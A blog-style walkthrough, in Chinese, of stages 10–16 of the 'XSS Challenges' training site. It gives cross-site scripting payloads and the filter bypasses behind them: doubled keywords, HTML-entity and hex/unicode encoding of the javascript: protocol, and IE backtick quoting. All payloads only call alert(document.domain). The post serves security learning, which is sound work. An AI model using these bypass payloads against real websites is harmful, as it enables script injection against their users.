Home

XSS Challenges2

2019/03/19

Stage #10

输入1"/><script>alert(document.domain);</script>
结果:
image
发现过滤了domain,通过双写domain绕过

1"/><script>alert(document.domdomainain);</script>

image

Stage #11

将script替换成了xscript,将onclick替换成了onxxx

输入:"><a href=javasc%72ipt:alert(document.domain)>111</a>发现不会弹窗,而是跳转链接:
image
查了下资料发现不能用url编码,要用HTML字符实体

"><a href=javasc&#114ipt:alert(document.domain)>111</a>

image
点击链接弹窗:
image

备注:
JavaScript是个伪协议,对协议进行URL编码后,url解析就不能正常解码,所以认为协议无效,无法弹框。
而使用HTML字符实体的话,html先解码,然后url再解码,这样虽然协议进行了编码,但是url解析器仍然能解析。至于url编码alert(2),不关协议,url解析器可以正常解析。 可以弹框。

自己在本地用了个简单的环境测试了一下
使用url编码:<a href=javasc%72ipt:alert(0)>test</a> (%72是r的url编码)
结果:
image

使用HTML实体:<a href=javasc&#114ipt:alert(0)>test1</a> (&#114是r的HTML实体编码)
结果:
image

Stage #12

过滤了<>和单引号双引号,查了下发现要利用IE会把``(左上角波浪的键)识别为双引号的特性

`` onclick=alert(document.domain);

点击弹框:
image

Stage #15

document.write,DOM型xss
输入`\x3cscript\x3ealert(document.domain);\x3c/script\x3e发现\被过滤掉了,查了下是因为是在js范畴,document.write在输出的时候会JavascriptDecode一下数据,会把数据原有\去除,即php里面的stripslashes
转义了“<”“>”用十六进制编码绕过

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

点击弹框:
image

普通十六进制:\xH(JavaScript编码)
进制编码:&#xH;(十六进制格式)(html实体编码)

Stage #16

Hint: “s/\\x/\\\\x/ig;”把“\\\x”替换成“\\x”
用unicode编码

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

image

有几道题因为浏览器版本原因没有做,所以到这基本xss challenges就算结束啦,感觉又重新学了一遍关于xss的知识